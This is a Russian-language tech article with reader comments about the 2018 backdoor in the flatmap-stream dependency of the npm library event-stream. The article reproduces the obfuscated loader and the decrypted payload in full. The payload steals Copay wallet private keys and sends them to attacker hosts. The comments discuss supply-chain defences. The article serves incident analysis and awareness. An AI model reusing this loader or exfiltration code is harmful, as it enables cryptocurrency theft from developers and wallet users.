Еженедельно из репозитория NPM загружается более 1,9 миллионов копий библиотеки EventStream. Она используется во многих крупных проектах для простой и удобной работы с потоками в Node.JS. Среди прочих, эта библиотека обрабатывает потоки и в популярном криптокошельке Copay (впрочем, об этом позже).
21 ноября 2018 года случилось странное. GitHub-пользователь @FallingSnow сообщил, что в одной из зависимостей event-stream спрятан вредоносный код, который фактически представляет собой бэкдор неизвестной функциональности.
Пользователи начали разбираться, откуда взялся этот вредоносный код. Это очень интересная и поучительная история. К сожалению, она может иметь долговременные последствия для многих open-source проектов.
Итак, началось расследование. Благодаря истории коммитов на GitHub сразу стало понятно, что вредоносный коммит сделал другой пользователь @right9ctrl, которому были предоставлены права мейнтейнера для event-stream. На его счету ряд нормальных коммитов, а автор проекта Доминик Карр (@dominictarr) передал ему права мейнтейнера.
Почему автор передал права мейнтейнера совершенно незнакомому человеку? Сам Доминик говорит, что ему в тягость заниматься проектом. См. подробное оправдание по поводу данного инцидента: автор пишет, что вообще создавал проект ради удовольствия и не думал, что его поддержка станет отнимать столько времени, а саму библиотеку задействуют в таком большом количестве серьёзных программ. Он не снимает с себя вину за инцидент, но говорит, что open-source проект не является его «собственностью», это общественное достояние, так что все остальные тоже в ответе за произошедшее. В конце концов, почему никто из нормальных людей не взял на себя права мейнтейнера и не занялся аудитом коммитов?
Вернёмся к упомянутому коммиту @right9ctrl. Хитрость в том, что он не вносил код бэкдора непосредственно в библиотеку
event-stream
, а лишь внедрял зависимость на другой пакет flatmap-stream. Уже в нём под видом тестового набора данных (test/data.js) в одной из переменных передавался вредоносный код следующего содержания:// var r = require, t = process;
// function e(r) {
// return Buffer.from(r, "hex").toString()
// }
function decode(data) {
return Buffer.from(data, "hex").toString()
}
// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
// npm_package_description = process['env']['npm_package_description'];
npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)
// if (!o) return;
if (!npm_package_description) return;
// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),
// a = u.update(n[0], e(n[8]), e(n[9]));
// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');
console.log(n); // IDK why this is here...
// a += u.final(e(n[9]));
decoded += decipher.final('utf8');
// var f = new module.constructor;
var newModule = new module.constructor;
/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])
После «расшифровки» переменной
n
картина проясняется./*@@*/
module.exports = function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),
s = o.update(e, "hex", "utf8");
s = "\n" + (s += o.final("utf8"));
var a = c.indexOf("\n/*@@*/");
0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
} catch (e) {}
})
} catch (e) {}
};
/*@@*/ ! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";
function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}
function r(e, t) {
for (var n = "", r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
}
function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();
После деобфускации стала понятна функциональность бэкдора. Оказалось, что он успешно срабатывает только при наличии в системе криптокошелька Copay (пакет
copay-dash
). В этом случае он копирует приватные кошельки пользователи и отправляет их на IP-адреса в Малайзии.Разработчики Copay провели расследование и выяснили, что бэкдор попал в зависимости с версиями кошелька от 5.0.2 до 5.1.0, то есть до последней версии. 27 ноября 2018 года они оперативно выпустили обновленную версию 5.2.0.
Злоумышленник @right9ctrl не просто добавил бэкдор, но и постарался замести следы. Через три дня он удалил вредоносный код из репозитория
flatmap-stream
, обновил номер версии, а старую удалил с NPM. Таким образом, в последней версии пакета бэкдор отсутствует, но он уже разошёлся по десяткам тысяч машин, что и было целью. Такой метод оказался весьма успешным, судя по тому, что бэкдор обнаружили не сразу.Пока неизвестно, сколько именно средств удалось заработать злоумышленнику, но данная атака демонстрирует принципиальную эффективность самого метода внедрения бэкдоров в проекты open-source. Очевидно, что это не последний такой случай. Об этом пишет и Доминик Карр, автор пострадавшей библиотеки EventStream: «Вероятно, будет много других модулей в ваших деревьях зависимостей, которые теперь становятся бременем для их авторов» — и эти «обременительные» модули могут передаваться в управление другим мейнтейнерам, как произошло в данном случае, или даже продаваться за деньги. Поскольку зависимости внедрены в сотни и тысячи программ, то какой-нибудь самый маленький модуль способен стать источником больших проблем.
Почему автор программы передаёт контроль над ней совершенно незнакомому человеку?
«Если это уже не доставляет удовольствия, то вы не получаете буквально ничего от поддержки популярного пакета, — отвечает Доминик Карр. — Поэтому сейчас мы находимся в странной долине, где у вас есть куча зависимостей, которые поддерживаются теми, кто потерял интерес или даже начал выгорать, и кто сам больше не использует их. Вы можете легко поделиться кодом, но никто не хочет разделить ответственность за поддержание этого кода. Подобно тому, как модуль похож на часть цифровой собственности, право, которое может быть передано, но вы не получаете никакой выгоды от его владения, например, возможности продать его или отдать в аренду, однако вы по-прежнему сохраняете ответственность».
Какой выход из сложившейся ситуации для пользователей свободного ПО? Или платить автору, или самим принимать активное участие в проекте, считает Карр.
Комментарии (48)
b360124
27.11.2018 10:54-1Если Карр не хочет поддерживать либу, то пусть так и скажет, может пакет возьмут на поддержку или энтузиасты или компании, но раздавать права майнтейнера налево и направо — это не вариант от слова совсем.
tangro
27.11.2018 11:12+4Так он так и сказал, пришел «энтузиаст» и начал «поддерживать». Как отличить хорошего энтузиаста от плохого?
justboris
27.11.2018 17:05Никак. Особо целеустремлённый хакер может сначала долго контрибьютить полезные вещи, завоевывать доверие, а потом тихонько оставить бэкдор.
Поэтому я бы сфокусировался на минимизации поражения, когда хакер уже внутри, то есть грамотное разграничение прав в системе, чтобы ваш линтер не имел доступа к папкам за пределами проекта, тем более — к ключам от кошельков
fukkit
27.11.2018 11:09-1А где-то есть основания считать, что старый и новый аккаунт использовали два разных человека?
VBKesha
27.11.2018 11:09Чем больше зависимостей тем больше проблем, да это ускоряет разработку и это огромный плюс. Но вот появился один из больших минусов, нет никакой гарантии что где то, кто то, не сделает тоже самое повторно.
Но адекватного выхода в современных реалиях я не вижу.
tangro
27.11.2018 11:14Таков современный мир. Мы соглашаемся пользоваться автомобилями из-за их удобства, даже понимая, что ценой этому — тысячи смертей в год в ДТП. И мы соглашаемся пользоваться левыми зависимостями, поскольку это быстро и удобно, даже понимая, что рано или поздно такая зависимость украдёт наш кошелёк.
ElvenSailor
27.11.2018 11:29Когда-то нечто подоброе должно было произойти.
Разрабы тащат себев ротвсякую бяку, а потом вот это :)
Вопрос — что делать-то?
Как защититься от «левого» энтузазиста, или прикинувшегося таковым изначального злодея — никто ведь не запрещает влиться в проект и честно его поддерживать, годика эдак два, а потом тихо и мирно вписать в какое-нибудь плохо просматриваемое место «тестовые» данные.
Насколько защищены в этом плане критичные и популярные вещи вроде дистрибов того же Дебиана / Минта / your_fav_ linux'a?
0xd34df00d
27.11.2018 15:07-7Вопрос — что делать-то?
А это снова к вопросу о чистых языках программирования. Библиотечный или тестовый код физически не сможет ничего никуда отправить, если он не живёт в IO-монаде. Даже аудит ручками делать не надо, аудит сделает тайпчекер.
0xd34df00d
28.11.2018 00:47Ух ты, много несогласия вижу я, а дискуссии почему-то не получается. Аж жалко!
Cerberuser
28.11.2018 04:12Попросил бы немного развить мысль: в каком production-ready языке эти возможности, на ваш взгляд, хорошо реализованы?
0xd34df00d
28.11.2018 06:20+1В хаскеле, например.
Cerberuser
28.11.2018 08:52Вопрос, насколько его производительность позволяет ему быть production-ready, оставлю специалистам, ясно.
0xd34df00d
28.11.2018 16:22Вполне позволяет.
Числодробилки я бы на нем писать не стал, там плюсы лучше взять, а для остального — да, вполне. А если мы таки с JS сравниваем, то и это уточнение не нужно.
danfe
29.11.2018 05:28Дык, специалисты отвечали на этот вопрос. Уже минимум лет пять (судя по дате публикации) с производительностью и production-readiness у хаскеля всё в порядке:
Программы на Haskell быстрее python, php, ruby (и других интерпретируемых языков). Быстрее Erlang/Java (и других vm-based языков). Обычно медленнее Си, хотя я видел несколько случаев, когда компилятор Haskell выдал результат, превосходящий сишный. Для любых практических применений производительности Haskell — за глаза и за уши.
Cerberuser
29.11.2018 05:55Благодарю. Я, как человек, не крутящийся в этих кругах, подобное свидетельство искал бы явно в разы дольше, чем Вы.
mayorovp
28.11.2018 08:39+2А что делать с библиотеками, которые живут в IO-монаде?
0xd34df00d
28.11.2018 16:21Вот их придётся тщательно ревьювить, да.
Впрочем, я тут открыл некоторые свои домашние и рабочие проекты — в среднем на 10-20 прямых зависимостей (транзитивное замыкание получается в районе 100-200), есть 1-2, которые живут в IO, и IO-код которых действительно вызывается.
justboris
27.11.2018 12:01+5Злоумышленник @right9ctrl не просто добавил бэкдор, но и постарался замести следы. Через три дня он удалил вредоносный код из репозитория flatmap-stream, обновил номер версии
Здесь нужна важная поправка. Злоумышленность пользователя @right9ctrl пока еще не доказана. Да, он добавил новую зависимость вот в этом коммите, но тот модуль опубликован от другого аккаунта: https://github.com/hugeglass/flatmap-stream
Возможно, за аккаунтами стоит один и тот же человек, а может и нет, a @right9ctrl просто добавил новую функциональность, запрошенную пользователями и по неопытности не проверил тот модуль.
mk2
27.11.2018 16:20Учитывая, что он не стал как-либо объясняться/оправдываться и удалил свой аккаунт, всё же больше похоже на злонамеренное действие.
sanakess
27.11.2018 12:17-1Бред, зачем передавать права ментейнера? Если не хочешь поддерживать проект дальше то просто перестаешь это делать. Любой может сделать форк и выкладывать туда свои наработки
melesik
27.11.2018 12:17Наверное легко найти все возможные бэкдоры, просто просканировав файлы, на предмет require('crypto') и т.п.
justboris
27.11.2018 12:29+1На самом деле нет, потому что в данном случае конструкция
require('crypto')
выглядела какr(e(n[2]))
. Код был достаточно хорошо спрятан, его, может быть, и не нашли бы, если бы он не вызывал deprecated API, о чем был warning в консоль: https://github.com/remy/nodemon/issues/1442
justboris
27.11.2018 12:21+8На самом деле этот сценарий атаки уже был описан примерно год назад: Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов.
Тогда это спровоцировало большое обсуждение и поиск способов защиты. В частности, в npm добавилась команда audit, которая предупреждает о модулях с уязвимостями, двухфакторная авторизация, а в репозитории теперь есть кнопка для репорта об уязвимом модуле, чтобы его оперативно удалили.
Ну и наконец, ждем стабильного релиза deno, принципиальной переделки node, с возможностью запретить делать запросы в сеть любому модулю.
FlameArt
27.11.2018 16:36В php композер тоже скачивает миллион зависимостей, но там есть простой пул решений: open_basedir чтобы не дать скриптам шариться по компу, а ещё disabled_functions, чтобы отключить всё, что может быть опасным и вообще, даже чисто архитектурно, не должно быть использовано.
У js есть одна особенность: Вебпак, поэтому вряд ли можно отключить функции запуска процессов, манипуляций правами и всякого такого, нодовские фреймворки стали слишком от этого зависимы (и это кстати тоже проблема). Но разрабы могли бы сделать аналог open_basedir для песочницы, в которой крутятся нодовские процессы. Это сняло бы сразу часть проблем. И в идеале бы, чтобы в этой песочнице запускались и все дочерние процессы. Вряд ли найдётся много кодеров, которые заморачиваются настройкой изолированных сред для запуска самой среды разработки и нодовских процессов, так было бы невозможно работать, нужно решение из коробки как в пхпganjar
27.11.2018 22:43Не так давно, кстати, был опубликован метод для обхода запрета на выполнение команд через функции типа «exec»
github.com/Bo0oM/PHP_imap_open_exploit
johnfound
27.11.2018 20:59-3Ну, это не первый проблем с npm, вообще то. подробно
Я не JS программист и не понимаю как все это работает, но мне кажется что зависимость от странных незнакомых людей по крайней мере неразумно.
К тому же, если какая нибудь организация (Node.js Foundation) решила делать общественное хранилище библиотек – так контролируйте что в нем находится!
Prototik
27.11.2018 23:55Ну, для начала, это не Node.js foundation, а npm, Inc. Они и следят — как могут. Не будут же они ревьювить каждую строчку кода, которую залил очередной ноунейм.
зависимость от странных незнакомых людей по крайней мере неразумно
Ой, ну удалите пжалуйста все ОС со всех устройств — их тоже писали странные незнакомые люди. Пускай каждый пишет себе свою ОС. Вот и наступит рай на земле…johnfound
28.11.2018 03:39Ну, для начала, это не Node.js foundation, а npm, Inc. Они и следят — как могут. Не будут же они ревьювить каждую строчку кода, которую залил очередной ноунейм.
Ну хоть и гугл. Не можешь, не берись. Те обезьянки, которые берут и пользуются, они думают что все проверено, надежно. Репозиторий официальный, технология самая модная. А в конце получается что я не я и хата не моя. Только, как я уже сказал – в случае с лефт-падом, упала добрая половина веб-а. Теперь бэкдор появился.
Кстати, мне совершенно не интересен npm, node.js и всякие извращенцы. Плохое только то, что некие недоумки криворукие делают глупостей, а ярлык вешают не на npm.inc и не на недоумков, а на все свободное ПО. Вот что бесит больше всего!
Cerberuser
28.11.2018 04:23"Не согласен — возражай. Возражаешь — предлагай". У Вас есть какие-нибудь более конкретные идеи, что в данном случае мог и должен был сделать npm, чтобы предотвратить проблему? А то, честно говоря, ощущение такое, что мы по большей части застряли на первом этапе: недовольства полно, а реальных альтернатив — не особо.
johnfound
28.11.2018 08:32-1У меня предложения есть. Ведь, я тоже разработчик свободного ПО. Только карма немного осталась… Но с другой стороной – делай что надо и будь что будет. :D
Вся идея npm очевидно порочная. Автоматическое управление пакетов совершенно не решает ад зависимостей, только усугубляет его, потому что легче становится работать с очень глубокими графами зависимостей.
А надо научится уменьшать эту глубину. И ветки этого графа обязательно надо проходить через библиотеки которые контролируются правильно и большим сообществом. Тогда и риски понижаться значительно.
Вот у меня например зависимостей в текущем проекте от: 1. MUSL; 2. SQLite; 3. И все.
justboris
28.11.2018 14:50Опубликовал перевод поста с детальным разбором и техническими деталями этого инцидента: habr.com/post/431360
vesper-bot
Что-то есть желание, чтобы любой блоб в исходниках обозначался бэкдором сразу без расследования, и на этапе компиляции в задницу выпиливался. Особенно касается всего интерпретируемого вроде javascript'a.
Ogoun
Это не решит проблему, можно спрятать в тексте, картинке, звуке, видео, можно выкачивать со стороннего ресурса кучей способов, вплоть до назначения операционной системе такой задачи. Защитит только непосредственный анализ нового кода, чем вряд ли займутся все в open source.
Dolfik
В таком случае, как минимум, помимо блоб необходимо и eval считать бэкдором.
vesper-bot
Вообще да, так как у eval исполняемый код заранее неизвестен и неподконтролен — скачали ли его, в ресурсах спрятали или ещё где, и кто поручится, чтО именно ему подается на вход. Не зря же в процессорах появилась поддержка NX/XD битов на память, чтобы разделять, где у процесса данные, а где код. Вот только сколько всего завязано на этот eval — нет данных, может, слишком много, чтобы можно было так огульно его объявить вредным.
justboris
С приходом WebAssembly ситуация еще усугубится. Байткода в npm-модулях станет только больше.
mayorovp
Но не в исходниках же. В исходниках будет проверяемый код без блобов, только на другом языке.
justboris
Значит я неправильно понял предыдущий коммент. Мне показалось, что там речь о пакетах с npm.
Если это про исходники, то есть вот такое интересное предложение привязать npm-пакеты к их исходникам на Github. То есть сделать ситуацию, когда на гитхабе одно, а в npm другое, было невозможно технически.
lostpassword
Так в сам гитхаб бэкдор и зальют. Где спасение?)
mayorovp
Там он будет хотя бы виден, а не как тут: на гитхабе исходники нормальные, а в npm-пакете троянец сидит.